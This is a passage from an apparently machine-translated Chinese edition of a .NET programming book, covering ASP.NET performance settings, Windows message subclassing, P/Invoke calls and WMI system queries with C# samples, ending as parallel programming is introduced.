      您应该看到以下截图,以帮助您决定哪些正在使用,哪些没有:

      通用和配置

    • 一旦您看到所有模块在运行,如果您的网站不需要身份验证,您可以删除这些模块,并在Web.config文件中指明:

      <system.webServer>
        <modules>
          <removename="FormsAuthentication" />
          <removename="DefaultAuthentication" />
          <removename="AnonymousIdentification" />
          <removename="RoleManager" />
        </modules>
      </system.webServer>
      
    • 这样,我们只会使用我们的应用程序所需的模块,并且每当应用程序发出请求时都会发生这种情况。

  • 管道模式的配置:从 IIS7 开始,有两种管道模式可用:集成经典。然而,后者仅用于与从 IIS 6 迁移的版本兼容。如果您的应用程序不需要处理兼容性问题,请确保在 IIS 管理中的编辑应用程序池选项中集成是激活的。

  • 一个好主意是在 HTML 生成后立即将其刷新(在您的web.config中),如果您没有使用它,请禁用ViewState<pages buffer="true" enableViewState="false">

  • 优化 ASP.NET 应用程序性能的另一个选项是删除未使用的视图引擎。默认情况下,引擎会在不同的格式和不同的扩展名中搜索视图:

    • 如果你只使用 Razor 和 C#,那么激活你永远不会使用的选项是没有意义的。因此,一个选择是在开始时禁用所有引擎,只启用 Razor。只需将以下代码添加到application_start事件中:

      // Removes view engines
      ViewEngines.Engines.Clear();
      //Add Razor Engine
      ViewEngines.Engines.Add(newRazorViewEngine());
      
    • 另一个需要记住的配置选项是名为runAllManagedModulesForAllRequests的功能,我们可以在Web.configapplicationHost.config文件中找到它。它在某种程度上与前面的选项相似,因为它强制 ASP.NET 引擎为每个请求运行,包括那些不必要的请求,如 CSS、图像文件、JavaScript 文件等。

    • 为了在不干扰可能需要它的其他应用程序的情况下配置此属性,我们可以使用位于这些资源所在位置的本地目录版本的Web.config,并在我们之前使用的相同模块部分中指示它,将此属性值分配给false

      <modulesrunAllManagedModulesForAllRequests="false">
      
  • 使用 Gzip 确保内容被压缩。在你的Web.config中,你可以添加以下内容:

    <urlCompression doDynamicCompression="true" doStaticCompression="true" dynamicCompressionBeforeCache="true"/>
    

缓存

首先,你应该考虑内核模式缓存。这是一个可选功能,可能默认未激活。

  • 请求在管道中经过几个层次,缓存也可以在不同的级别进行。参考下一图:缓存

    • 我们可以在IIS 管理工具中的缓存配置中添加一个新的配置,并启用内核模式缓存复选框。
  • 与此相关,你还可以选择使用客户端缓存。如果你在包含静态内容的文件夹中添加定义,大多数情况下,你会提高 Web 性能:

    <system.webServer>
      <staticContent>
        <clientCachecacheControlMode="UseMaxAge"cacheControlMaxAge="1.00:00:00" />
      </staticContent>
    </system.webServer>
    
  • 另一个选项是使用与action方法链接的<OutputCache>属性。在这种情况下,缓存可以更细粒度地使用仅与给定函数链接的信息。

    • 指示这一点很容易:

      [OutputCache(Duration=10, VaryByParam="none")]
      public ActionResult Index()
      {
        return View();
      }
      
    • 只需记住,此属性的多数属性与<OutputCache>指令兼容,除了VaryByControl

  • 除了 cookies 之外,你还可以使用新的 JavaScript 5 API 的localStoragesessionStorage属性,它们提供相同的功能,但在安全和非常快速访问方面具有许多优势:

    • 使用sessionStorage存储的所有数据,当你离开网站时,将自动从本地浏览器的缓存中删除,而localStorage的值是永久的。

数据访问

我们在这本书中已经提到了一些加快数据访问的技术,但总的来说,只需记住良好的实践几乎总是对访问有积极影响,例如我们在第十章中看到的某些模式,设计模式。此外,考虑使用仓库模式。

另一个好主意是使用AsQueryable,它只创建一个可以在以后使用Where子句进行更改的查询。

负载均衡

除了我们可以通过 Web 花园和 Web 农场获得的内容外,MSDN 在其所有文档中推荐使用异步控制器,每当操作依赖于外部资源时。

使用我们看到的 async/await 结构,我们可以创建非阻塞代码,这总是更响应。您的代码应该看起来像 ASP.NET 网站提供的示例(www.asp.net/mvc/overview/performance/using-asynchronous-methods-in-aspnet-mvc-4):

public async Task<ActionResult>GizmosAsync()
{
  var gizmoService = newGizmoService();
  returnView("Gizmos", await gizmoService.GetGizmosAsync());
}

如您所见,主要区别在于Action方法返回的是Task<ActionResult>而不是ActionResult本身。我建议您阅读之前提到的文章以获取更多详细信息。

客户端

客户端的优化可以是一个很大的话题,您将在互联网上找到数百个参考。以下是一些最常用和接受的实践:

  • 使用现代浏览器中包含的优化技术来确定可能的瓶颈。

  • 基于 AJAX 查询的单页应用程序架构可以部分刷新页面内容。

  • 使用 CDN 来处理脚本和媒体内容。由于这些站点已经高度优化,这可以改善客户端的加载时间。

  • 使用打包和压缩技术。如果您的应用程序使用 ASP.NET 4.5 或更高版本构建,则此技术默认启用。这两种技术通过减少对服务器的请求数量和减少请求资源的尺寸(如 CSS 和 JavaScript)来提高请求加载时间。

    • 这种技术与现代浏览器的功能有关,通常每个主机名将限制并发请求数量为六个。因此,每个额外的请求都会被浏览器排队。

    • 在这种情况下,检查加载时间,使用我们在浏览器工具中看到的方法来获取每个请求的详细信息。

    • 打包允许您将多个文件组合或捆绑成一个文件。这可以用于某些类型的资产,合并内容不会导致故障。

    • 您可以创建 CSS、JavaScript 和其他捆绑包,因为文件越少,请求越少,这可以提高首次页面加载性能。

    • ASP.NET 的官方文档显示了以下带有和不带有此技术的结果比较表以及获得的变化百分比(有关完整说明,请参阅www.asp.net/mvc/overview/performance/bundling-and-minification):

      使用 B/M 不使用 B/M 变化
      File requests 9 34 256%
      KB sent 3.26 11.92 266%
      KB received 388.51 530 36%
      Load time 510 MS 780 MS 53%

如文档所述:通过捆绑,发送的字节数显著减少,因为浏览器在请求上应用的 HTTP 头信息相当冗长。由于最大的文件(Scripts\jquery-ui-1.8.11.min.jsScripts\jquery-1.7.1.min.js)已经进行了压缩,所以接收到的字节数减少并不大。请注意,样本程序中的时间使用 Fiddler 工具模拟了慢速网络。(从 Fiddler 的规则菜单中选择性能,然后选择模拟调制解调器速度。)

摘要

在本章中,我们探讨了与应用程序和性能优化相关的不同工具和技术。

首先,我们了解了应用程序性能工程的概念,并回顾了 Visual Studio 2015(任何版本)和现代浏览器中可用的工具。

然后,我们介绍了为了检测问题和性能问题而应遵循的一些最重要的流程,并探讨了如何使用类来微调测量。

最后,我们回顾了一些推荐用于优化网站的重要技术,特别是那些使用 ASP.NET MVC 编写的网站。

在最后一章中,我们将介绍许多难以包含在前几章中的功能,包括高级技术,如并行处理、平台调用以及.NET Core 的简介。

第十三章。高级主题

在第十二章中,我们研究了从多个角度分析应用程序的性能,并分析了我们可以用来提高软件响应时间的最有意义的工具。

本章涵盖了高级概念,主要与三个领域相关。因此,你可以将其视为一个杂项章节,涉及几个主题,这些主题要么不适合任何前一章的上下文,要么太新,例如.NET Core 会发生什么。

具体来说,我将介绍应用程序如何在自身函数中接收系统调用,并解释我们的代码如何通过其 API 集成和与操作系统通信。

我们还将涵盖另一个主题:Windows 管理工具WMI),以及它如何允许开发者访问和修改系统的关键方面,这些方面在其他方法中有时难以触及。

我们还将涵盖并行性,分析这些主题的一些神话和误解,并测试这些方法,以便我们真正评估这种编程类型的优势。

本章以对.NET Core 1.0 及其衍生作品 ASP.NET Core 1.0 的介绍结束,包括它们在开源编程世界中的影响和意义,以及一些如何使用它们的示例。这项技术的可用性于 2016 年 6 月底公开,并在版本 1.1 中包含了一些小的补充,主要是错误修复和对更多操作系统的支持。

因此,我们将从允许操作系统和.NET 之间双向通信的机制开始。但首先,如果我们真的想理解和利用.NET 代码中的这个特性,记住操作系统内部工作的基础知识,特别是它如何管理窗口之间的消息,将会很有趣。

总结来说,在本章中我们将涵盖以下主题:

  • 子类化和平台/调用

  • Windows 管理工具

  • 并行编程的扩展技术

  • .NET Core 1.0 和 ASP.NET Core 1.0 简介

Windows 消息子系统

所有基于 Windows 的应用程序都是事件驱动的。这意味着它们不会明确调用操作系统 API 中的函数。相反,它们等待系统将任何输入传递给它们。因此,负责提供输入的是系统本身。

系统的内核负责将硬件事件(用户的点击、键盘输入、触摸屏手势、通信端口中字节的到达等)转换为软件事件,这些事件以消息的形式指向软件目标:窗口中的按钮、表单中的文本框等。毕竟,这是事件驱动编程范式的灵魂。

我将从处理 .NET 如何使用操作系统的低级资源的部分开始,换句话说,我们的应用程序如何通过使用不同的模型、不同的数据类型和调用约定来编码,与操作系统的核心功能进行通信和使用。这种技术允许 .NET 应用程序使用 Windows 中未直接映射到 CLR 类的资源,并将该功能集成到我们的应用程序中。

MSG 结构

消息不过是一个唯一标识特定事件的数字代码。例如,在用户按下左鼠标按钮的前一个案例中,窗口接收一个带有此消息代码的消息:0x0201。这个数字在代码中如下定义:

#define WM_LBUTTONDOWN    0x0201

一些消息与数据相关联。例如,在这种情况下,WM_LBUTTONDOWN 消息必须向程序员指示鼠标光标的 x 坐标和 y 坐标。

每当向窗口传递消息时,操作系统都会调用该窗口的一个特殊函数,称为窗口过程,该窗口过程在创建时注册为该窗口。

这是因为在 Windows 中,一切几乎都是窗口,每个窗口过程(称为 WndProc)都会在系统为该窗口发送一些输入时立即处理它接收到的消息。实际上,消息是排队处理的,系统通过优先级策略有能力提升队列中的某些消息。

窗口的各个方面(包括行为)都取决于窗口过程对这些消息的响应。

小贴士

记住,窗口是系统通过处理程序区分的任何东西:一个使该组件与其他组件不同的唯一数字。也就是说,按钮、图标等,只是嵌入在其他窗口中的窗口,每个窗口都有自己的处理程序。

因此,每次你点击一个按钮,将光标移过图标或使用 Ctrl + C 复制内容时,系统都会向目标窗口(按钮、图标、剪贴板等)发送消息。

消息通过与目标相关联的 wndproc 函数接收,该函数处理该消息并将控制权返回给系统。

下图更详细地展示了这个结构:

MSG 结构

注意,根据 MSDN:

“如果一个顶级窗口在几秒钟内停止响应消息,系统会认为该窗口没有响应。在这种情况下,系统会隐藏窗口,并用具有相同 Z 轴顺序、位置、大小和视觉属性的幽灵窗口替换它。这使用户可以移动它、调整它的大小,甚至关闭应用程序。然而,这些是唯一可用的操作,因为应用程序实际上没有响应。在调试模式下,系统不会生成幽灵窗口。”

如前所述,系统消息或用户消息都被排队,wndproc函数以先入先出的方式(有一些例外)处理它们。

实际上,你可以区分两种类型的信息:那些由用户应用程序发送的信息,通常进入 FIFO 队列,以及其他由操作系统发送的信息,这些信息可以有独特的优先级,因此可以在队列中排在其他信息之前(例如,错误信息)。

这些信息可以通过 Post Message 或 Send Message API 发送,具体取决于预期的行为,尽管我们不会深入探讨这些方面(因为它们远远超出了本章的范围),但我们将探讨如何使用这些 API 发送消息以及我们可以通过这种技术获得什么。

下一个图显示了系统中的不同线程如何发生这一切:

MSG 结构

尽管我们的应用程序是受管理的,但它们的行为方式相同,并且我们可以从我们的代码中访问句柄,这使得我们可以捕获系统事件并随意更改行为。

在这些技术中,允许我们捕获系统或应用程序事件的技术被称为子类化。让我们解释它是如何工作的以及我们如何使用它。

子类化技术

一旦我们理解了之前的架构,就有很多方式可以使用它:避免控件或窗口的预定义行为,向现有的窗口组件添加特定元素,等等。

让我们尝试一个基本的例子。假设我们想要改变窗口对左键的响应方式。仅此而已。因此,我们有一个简单的 Windows Forms 应用程序,我们需要考虑我们需要哪些元素来编写这种行为。

首先,我们需要捕获针对左键的具体消息。然后,我们有与我们的窗口关联的WndProc重写,确定如果消息是我们需要的那个,应该做什么,最后,始终正确地将控制权返回给操作系统。

这个图显示了整个过程:

子类化技术

幸运的是,在 C#中,这很简单。只需看看我们添加到 IDE 创建的main默认窗口代码中的这段代码:

protected override void WndProc(ref Message m)
{
    // Captures messages relative to left mouse button
    if (m.Msg >= 513 && m.Msg <= 515)
    {
        MessageBox.Show("Processing message: " + m.Msg);
    }
    base.WndProc(ref m);
}

在这个片段中,有几件事情应该注意:首先,我们正在重写一个在我们代码中未定义的方法。实际上,WndProc是在Form类中定义的,正如你在类声明(在Form之上)中选择转到定义选项所看到的那样:

子类化技术

如果你启动应用程序,它应该运行得很好,但任何左键点击都会弹出一个消息框,指示处理的消息编号。无法通过左键点击它;只有右键点击才能正常工作!(你可能发现甚至关闭窗口都很困难,尽管你始终可以从 Visual Studio 关闭应用程序或右键点击标题区域)。

输出将类似于以下截图所示:

子类化技术

然而,你可能想知道数字 513 是如何定义的,以及我们可以在哪里找到有关它的信息。

这可能是讨论一些工具(本地或在线)的合适时机,你可以使用这些工具来查找不仅这些信息,还可以用于这些类型 .NET/OS 交互的任何其他系统相关数据。

一些有用的工具

如果我们处理定义,并且处理从 .NET 调用系统 API 的不同方式,有一个参考网站:PInvoke.net(可在 www.pinvoke.net/ 访问)。

你会发现大多数系统 API 都有详细的说明,解释它们的工作方式,它们应该如何在我们的代码中定义(无论是从 C# 还是 VB.NET),以及所有其他相关信息。

例如,知道所有窗口消息都是以 WM_ 前缀定义的,我们可以在 常量 主题下展开它,以找到之前使用过的那个。

此外,我们还看到了消息的定义及其用途,以及与其相关的十六进制数,在列表的末尾,你会找到 C# 定义,其中很容易找到与左侧按钮相关联的链接,如下一张截图所示:

一些有用的工具

接下来,你可以看到 C# 代码中的定义,这些定义可以在程序中使用:

一些有用的工具

在代码中,正如你所知,我们可以使用十进制等效值(如我所做)或十六进制定义,结果相同。实际上,使用这些定义来生成更清晰、可读的代码比我在第一个演示中做的更可取。

如果,相反,你寻找一个函数或滚动到一些众所周知的系统 DLL,例如 user32.dll,你会看到它包含许多与 Windows 相关的函数,如 FindWindowEx。如果你展开这个函数,你会看到我们应该在我们的代码中使用的定义,以便调用该函数,正如我们将在下一节 Platform/Invoke 中所做的那样。

在下面一点,我们甚至可以找到一个如何在实际中(在这种情况下,这是为了获取窗口的水平滚动条的引用)使用该函数的示例。

还有另一个有趣的工具,由 Justin Van Patten 创建,在 微软:P/Invoke Interop Assistant,我们可以从 Codeplex 下载并安装,地址为 clrinterop.codeplex.com/releases/view/14120

下载并安装后,你将在 Program Files (X86)/InteropSignatureToolkit 目录下找到几个工具。其中两个是命令行工具,可以帮助你从其他库或 DLL(它们也可能是 TLBs)中定义函数的签名。

最后一个是 Windows 应用程序,它允许你执行我们在 PInvoke.net 网站上之前所做的操作,但仅从 Windows 应用程序中进行。它被称为 Windows 签名生成器 (winsiggen.exe)。

在这些工具中,你可以从系统中的任何位置导入 DLLs,或者甚至可以咨询之前的定义,而无需做更多的工作:通过选择 SigImp 搜索 标签,你可以过滤你正在寻找的内容,并查看列表中的定义。此外,通过选择你想要工作的定义,你将可以选择生成必要的 C# 或 VB.NET 代码,如下面的截图所示,其中我搜索了之前演示中使用的定义:

一些有用的工具

除了这个解决方案,还有一个选择,对于 Visual Studio 中的开发者来说非常有趣:在 扩展和更新 菜单下;如果你选择 在线 并过滤 pinvoke 或类似的内容,将有一个名为 PInvoke.net for Visual Studio Extension 的工具版本,最近由 Red Gate 管理。你应该能在下一个截图所示的条目中找到类似的内容:

一些有用的工具

安装完成后(需要一点时间),在 Visual Studio 重启后,它将在 IDE 中创建一个新的菜单。

你将看到一个类似于上一个工具的窗口,但高度简化,并且可以选择搜索任何函数或模块,或者如果你需要查找定义,可以访问 PInvoke.net 网站。

Platform/Invoke:从 .NET 调用操作系统

Platform/Invoke 允许程序员使用标准的(非托管)C/C++ DLLs。如果你需要访问广泛 Windows APIs(基本上包含了操作系统能执行的所有功能)中的任何函数,并且没有可用的包装器可以从 CLR 调用相同的功能,那么这就是你的选择。

从开发者的角度来看,通过 Platform/Invoke,我们理解 CLR 的一个特性,它允许程序与运行应用程序的系统中独特的功能进行交互,从而允许托管代码调用原生代码,反之亦然。

负责调用 API 的程序集将定义如何调用和访问原生代码,通过嵌入在其中的元数据,这通常需要属性装饰。这些属性定义在包含调用方法的类中,以指示编译器在托管和非托管两个世界之间进行封送处理(Marshaling)的正确方式。

理念是,如果我从托管代码中调用非托管函数,我应该指示目标上下文我传递的东西有多大,以及它们的方向。也就是说,如果我在请求数据或传递数据(或两者都是)。

但有一个缺点是存在许多异常,而且通常,即使代码编写正确,也总有一种更好的方法来做。这就是我们刚刚审查的工具帮助程序员处理这些情况的地方。

但首先让我们回顾一下平台调用的基础以及如何通过一个简单的示例从 C# 中使用它。

平台调用的过程

要实现平台调用,CLR 必须执行几个步骤:

  • 定位包含函数的 DLL 并将其加载到内存中

  • 定位函数的内存地址并将它的参数推入堆栈,按需封装数据

然而,以这种方式操作也有一些陷阱。例如,你不再有类型安全或垃圾回收的好处,并且在使用它们时必须小心。另一方面,巨大的优势是,系统提供的功能大量可用,而且我们谈论的是经过充分测试和优化的功能。

将外部 API 的定义插入到我们的代码中很容易。让我们通过一个例子来看看。想象一下,我们的应用程序使用系统的计算器(或任何其他系统工具),并且我们想确保在特定情况下,计算器位于给定的位置(例如屏幕的原点),并且我们还希望有能力从我们的程序中关闭计算器。

我们需要三个 API——SetWindowPos(用于更改计算器的位置)、SendMessage(用于关闭计算器)和 FindWindow——以便获取我们需要与其他两个一起使用的计算器句柄。

因此,我们在平台/调用助手中搜索这些函数以找到它们的定义,并使用插入按钮将翻译后的定义插入到我们的代码中。对于每个函数搜索,我们都应该看到一个类似这样的窗口:

平台调用的过程

找到这三个函数后,我们应该有以下代码可用:

[DllImport("user32.dll", EntryPoint = "FindWindow", SetLastError = true)]
static extern IntPtr FindWindowByCaption(IntPtr ZeroOnly, string lpWindowName);
[DllImport("user32.dll", EntryPoint = "SetWindowPos")]
public static extern IntPtr SetWindowPos(IntPtr hWnd, int hWndInsertAfter, 
    int x, int Y, int cx, int cy, int wFlags);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
static extern IntPtr SendMessage(IntPtr hWnd, UInt32 Msg, 
    IntPtr wParam, IntPtr lParam);
IntPtr calcHandler;
private const UInt32 WM_CLOSE = 0x0010;

这是我们的操作系统功能桥梁,我们可以从任何可访问的地方调用这些函数,就像它们是 .NET 函数一样。

对于这个演示,我将创建一个基本的 Windows Forms 应用程序,其中包含几个按钮,以便实现所需的功能。第一个按钮找到计算器的处理程序并将 Calculator 定位到最左上角的位置:

private void btnPosition_Click(object sender, EventArgs e)
{
  calcHandler =  FindWindowByCaption(IntPtr.Zero, "Calculator");
  SetWindowPos(calcHandler, 0, 0, 0, 0, 0, 0x0001 | 0x0040);
}

现在,在另一个按钮中,我们必须向 Calculator 发送一个消息来关闭它。同样,我们可以通过助手检查,知道消息标识符被称为 WM_CLOSE,并且我们将在搜索常量时找到它,向下到以 WM_ 开头的那些。因此,我们插入这个定义并准备好调用第二个按钮,该按钮关闭计算器:

private const UInt32 WM_CLOSE = 0x0010;
private void btnClose_Click(object sender, EventArgs e)
{
  SendMessage(calcHandler, WM_CLOSE, IntPtr.Zero, IntPtr.Zero);
}

记住,当我们使用系统 API 时,一些参数必须被特别封装(转换)成目标类型。这就是为什么最后两个参数被表示为 IntPrt.Zero,这是 .NET 中此类型的正确定义。

自然,我们可以使用这种技术来关闭任何窗口,包括受管理的窗口,尽管在这种情况下,我们还有其他(更简单)的选项,包括与反射相关的可能性,如果持有组件是外部的。

此外,请注意,一些被称为多平台的解决方案是基于从托管代码调用本地代码的:在 Silverlight 中;运行时基于基于这些原则的平台适配层PAL)。这允许你在不同的操作系统上调用本地函数。

这也适用于 Linux 和 MacOS 中的平台/调用,其中最成功的体现是 Xamarin 倡议(有关这些平台上的 Platform/Invoke 的更多信息,请参阅www.mono-project.com/docs/advanced/pinvoke/)。

然而,正如我们将在最后看到的,新的.NET Core 在这方面是一个巨大的承诺,因为它被认为可以在任何平台和任何操作系统上运行。

然而,如果我们为 Windows 编程,有些情况下我们需要了解我们平台配置的特定数据。这就是Windows 管理规范WMI)或其最近的替代品Windows 管理基础设施非常有用的地方,不仅对程序员,而且对 IT 人员也是如此。

Windows 管理规范

官方文档以这种方式定义 WMI 技术:

“Windows 管理规范(WMI)是 Windows 基于操作系统的管理数据和操作的基础设施。您可以使用 WMI 脚本或应用程序来自动化远程计算机上的管理任务,但 WMI 还向操作系统的其他部分和产品提供管理数据,例如,System Center Operations Manager,以前称为 Microsoft Operations Manager(MOM),或Windows 远程管理WinRM)。”

然而,同样的文档还补充说:

“WMI 完全由 Microsoft 支持;然而,最新的管理脚本和控制版本可通过 Windows 管理基础设施MI)获得。MI 与 WMI 的先前版本完全兼容,并提供了一系列功能和好处,使得设计和开发提供者和客户端比以往任何时候都更容易。有关更多信息,请参阅 Windows 管理基础设施(MI)。”

如果你想深入了解这些功能,可以在msdn.microsoft.com/en-us/library/dn313131(v=vs.85).aspx找到更多关于配置 MI 的信息。

因此,使用 WMI,我们查询系统以获取其实施和安装的软件和硬件的详细信息。查询的原因是 WMI 将系统信息存储在通用信息模型CIM)数据库中,这些数据库由系统持续存储和更新。

顺便说一下,CIM 不是 Windows 操作系统的专属。正如维基百科所述:

通用信息模型CIM)是一个开放标准,它定义了 IT 环境中管理元素如何表示为一组公共对象及其之间的关系。

分布式管理任务组维护 CIM,以允许独立于制造商或提供者的管理元素的一致管理。”

DMTF 频繁更新这些文档(有时一年两次)。

CIM 可搜索表

系统中有许多表被永久更新,我们可以搜索。完整的列表发布在 MSDN 上,你可以在msdn.microsoft.com/en-us/library/aa389273(v=vs.85).aspx计算机系统硬件类部分找到这些信息。

我将在这里总结一些对程序员最有用的搜索术语:

  • 输入设备类

  • 大容量存储类

  • 主板、控制器和端口类

  • 网络设备类

  • 电源类

  • 打印类

  • 电信类

  • 视频和显示器类

每个都包含一组独特的类,包含有关硬件和软件的各种信息。

在这次简要回顾中,我们只将使用经典的 WMI,查看在演示中可以向我们揭示的数据类型以及如何查询它。

虽然有几种方法可以访问.NET 程序员的这些信息,但.NET 通过System.Management命名空间提供了 WMI 功能的一部分,该命名空间包含用于搜索系统相关信息的类,例如ManagementObjectSearcherSelectQueryManagementObject等。

对于一个简单的系统信息查询,我们首先创建一个ManagementObjectSearcher对象,该对象定义了搜索的焦点(一个信息提供者)。此对象应接收一个 SQL 字符串,指示我们想要搜索的表。

因此,在我们的演示中,我们将首先创建一个 Windows 窗体应用程序,包括几个按钮和一些 Listbox 控件来展示结果。

我们将首先编写一个通用查询来获取可用表的列表。负责此操作的按钮的代码如下:

ManagementObjectSearchermos = newManagementObjectSearcher
("SELECT * FROM meta_class WHERE __CLASS LIKE 'Win32_%'");
foreach (ManagementObject obj in mos.Get())
listBox1.Items.Add(obj["__CLASS"]);

如你所见,meta_class是一个包含可用于搜索的所有类的完整列表的 CIM 对象。请注意,查询可能需要一段时间,因为ManagementObjectSearcher必须遍历系统中所有可用并在 CIM 表中注册的信息。

你应该看到类似于下一张截图的输出:

CIM 可搜索表

之后,我们可以查询这些表以检索所需数据。在这个演示中,我们将使用几个表——Win32_OperatingSystemWin32_processorWin32_biosWin32_EnvironmentWin32_Share——来查找有关运行机器和相关特性的信息。

它的工作方式始终相同:你创建ManagementObjectSearcher并遍历它,对搜索器返回的集合的每个实例调用Get()方法。因此,我们有以下代码:

private void btnQueryOS_Click(object sender, EventArgs e)
{
    listBox1.Items.Clear();
    listBox2.Items.Clear();

    // First, we get some information about the Operating System:
    // Name, Version, Manufacturer, Computer Name, and Windows Directory
    // We call Get() to retrieve the collection of objects and loop through it
    var osSearch = new ManagementObjectSearcher("SELECT * FROM Win32_OperatingSystem");
    listBox1.Items.Add("Operating System Info");
    listBox1.Items.Add("-----------------------------");
    foreach (ManagementObject osInfo in osSearch.Get())
    {
        listBox1.Items.Add("Name: " + osInfo["name"].ToString());
        listBox1.Items.Add("Version: " + osInfo["version"].ToString());
        listBox1.Items.Add("Manufacturer: " + osInfo["manufacturer"].ToString());
        listBox1.Items.Add("Computer name: " + osInfo["csname"].ToString());
        listBox1.Items.Add("Windows Directory: " + osInfo["windowsdirectory"].ToString());
    }

    // Now, some data about the processor and BIOS
    listBox2.Items.Add("Processor Info");
    listBox2.Items.Add("------------------");
    var ProcQuery = new SelectQuery("Win32_processor");
    ManagementObjectSearcher ProcSearch = new ManagementObjectSearcher(ProcQuery);
    foreach (ManagementObject ProcInfo in ProcSearch.Get())
    {
        listBox2.Items.Add("Processor: " + ProcInfo["caption"].ToString());
    }

    listBox2.Items.Add("BIOS Info");
    listBox2.Items.Add("-------------");
    var BiosQuery = new SelectQuery("Win32_bios");
    ManagementObjectSearcher BiosSearch = new ManagementObjectSearcher(BiosQuery);
    foreach (ManagementObject BiosInfo in BiosSearch.Get())
    {
        listBox2.Items.Add("Bios: " + BiosInfo["version"].ToString());
    }

    // An enumeration of Win32_Environment instances
    listBox2.Items.Add("Environment Instances");
    listBox2.Items.Add("-----------------------------");
    var envQuery = new SelectQuery("Win32_Environment");
    ManagementObjectSearcher envInstances = new ManagementObjectSearcher(envQuery);
    foreach (ManagementBaseObject envVar in envInstances.Get())
        listBox2.Items.Add(envVar["Name"] + " -- " + envVar["VariableValue"]);

    // Finally, a list of shared units
    listBox2.Items.Add("Shared Units");
    listBox2.Items.Add("------------------");
    var sharedQuery = new ManagementObjectSearcher("select * from win32_share");
    foreach (ManagementObject share in sharedQuery.Get())
    {
        listBox2.Items.Add("Share = " + share["Name"]);
    }
}

如果你运行演示,根据你的机器,你可能会得到一些不同的值,但信息的结构应该类似于下一张截图所示:

CIM 可搜索表

总结来说,WMI 提供了一种简单、受管理的访问我们机器上硬件和软件以及我们连接的网络中几乎所有相关数据的方法(只要查询具有所需的权限)。

关于安全方面的担忧,微软在 MSDN 上发布了一篇关于此主题的详尽文章:维护 WMI 安全 (msdn.microsoft.com/en-us/library/aa392291(v=vs.85).aspx),其中包含了关于在允许访问这些资源的同时维护安全性的所有关键信息和指南。

ManagementObject类相关的功能还有很多。例如,你可以通过创建所需元素的新实例来获取有关进程或服务的信息,并使用该对象继承的方法。

例如,如果你想以编程方式知道哪些服务依赖于其他服务,你可以使用对象实例的GetRelated方法。让我们假设我们想知道与LSM本地会话管理器)服务相关的服务。我们可以编写以下代码:

var mo = newManagementObject(@"Win32_service='LSM'");
foreach (var o in mo.GetRelated("Win32_Service", "Win32_DependentService",
null,null,"Antecedent","Dependent", false, null))
{
  listBox1.Items.Add(o["__PATH"]);
}

以这种方式,我们可以以完全程序化的方式获取这些(难以找到的)信息。这将帮助我们配置一些场景,其中我们的应用程序的某个过程需要某个服务的活跃存在(记住,我们也可以从代码中启动服务)。

此外,还有其他操作可用,例如停止、暂停或恢复指定的服务。在 LSM 服务的情况下,我们应该看到类似于以下截图所示的信息:

CIM 可搜索表

此外,还有更多通过System.Management相关类层次结构发现的信息。实际上,我们应该通过注册表或 Windows API 读取的几乎所有与系统相关的数据,都可以在这里以完全程序化的方式获得,无需复杂的方案。

唯一的缺点是文档非常长。因此,微软创建了一个名为 WMI Code Creator 的工具,该工具分析可用的信息,并为所有可能的场景生成代码(通常,此代码以 Windows Scripting Host 的形式表达),但大部分可以完美地转换为 C#。

此外,我们还拥有一个工具的优势,该工具将许多功能集成在一个用户界面中。

您可以从www.microsoft.com/en-gb/download/details.aspx%3Fid%3D8572下载它,得到一个包含可执行文件和源代码的 ZIP 文件,这对于在 WMI 中编码是一个宝贵的提示。

工具包括几个选项:

  • 从 WMI 类查询数据

  • 执行一个方法

  • 接收一个事件

  • 浏览此计算机上的命名空间

正如您在下一张屏幕截图中所见,这个工具在可能性和提供的信息方面都非常全面:

CIM 可搜索表

WMI 的另一个典型用途是在执行可能引发系统故障的操作之前检查硬件的状态,例如在复制可能超过磁盘配额的大量数据之前测试硬盘。

在这种情况下,代码很简单,它给我们提供了一个关于如何编写其他系统相关查询的想法。我们需要的只是类似这样的东西:

ManagementObject disk = new
ManagementObject("win32_logicaldisk.deviceid='c:'");
disk.Get();
var totalMb = long.Parse(disk["Size"].ToString()) / (1024 * 1024);
var freeMb = long.Parse(disk["FreeSpace"].ToString()) / (1024 * 1024);
listBox1.Items.Add("Logical Disk Size = " + totalMb + " Mb.");
listBox1.Items.Add("Logical Disk FreeSpace = " + freeMb + " Mb.");

因此,在添加一个新按钮并包含之前的代码以检查 C: 驱动的状态后,我们应该看到类似以下输出:

CIM 可搜索表

总结来说,我们已经看到了几种与操作系统交互的方式。我们可以分析哪些消息与特定的功能相关联,并捕获相关事件以更改、取消或修改默认行为。在这种情况下,通信是双向的。

当我们使用系统 API 通过 Platform/Invoke 调用功能时,也会发生这种情况(双向通信),它提供了无限的可能性。

注意

然而,官方微软建议,如果它们对 .NET 程序员可用,那么始终首选使用与 .NET 类关联的资源。

最后,Windows Management Instrumentation 及其变体 MI 提供了对其他难以触及的信息的访问,允许我们的应用程序根据操作系统的状态进行配置和更合适的行为。

并行编程

如您所记得,我们已经讨论了异步编程,当时我们处理的是在 .NET Framework 4.5 中出现的 async/await 关键字,作为避免性能瓶颈和提高应用程序整体响应性的解决方案。

并行编程在框架的 4.0 版本中就已经存在,并且与 任务并行库TPL)程序相关联。但首先,让我们定义一下并行性的概念(至少根据维基百科的定义):

并行计算是一种可以在同时执行多个操作的计算形式。它基于“分而治之”的原则,将任务分解成更小的任务,这些小任务随后并行解决。

这显然与硬件相关,我们应该意识到多处理器和多核心之间的区别。正如 Rodney Ringler 在他的优秀书籍《Packt Publishing》出版的 C# Multithreading and Parallel Programming 中所说:

“多核 CPU 具有多个物理处理单元。本质上,它就像多个 CPU 一样工作。唯一的区别是,单个 CPU 的所有核心共享相同的内存缓存,而不是各自拥有自己的内存缓存。从多线程并行开发者的角度来看,多个 CPU 和 CPU 中的多个核心之间几乎没有区别。整个系统中 CPU 的核心总数是可以在并行调度和运行中的物理处理单元的数量,即真正可以并行执行的软件线程的数量。”

可以区分几种并行类型:在位级别、指令级别、数据并行和任务并行。这是在软件层面。

还有一种在硬件层面的并行性,其中可以暗示不同的架构,根据要解决的问题提供不同的解决方案(如果你对这个主题感兴趣,劳伦斯利弗莫尔国家实验室发布了一个特别详尽的解释,并行计算简介,可在computing.llnl.gov/tutorials/parallel_comp/找到。当然,我们将坚持软件层面)。

并行性可以应用于计算的不同领域,例如蒙特卡洛算法、组合逻辑、图遍历和建模、动态规划、分支和界限方法、有限状态机等等。

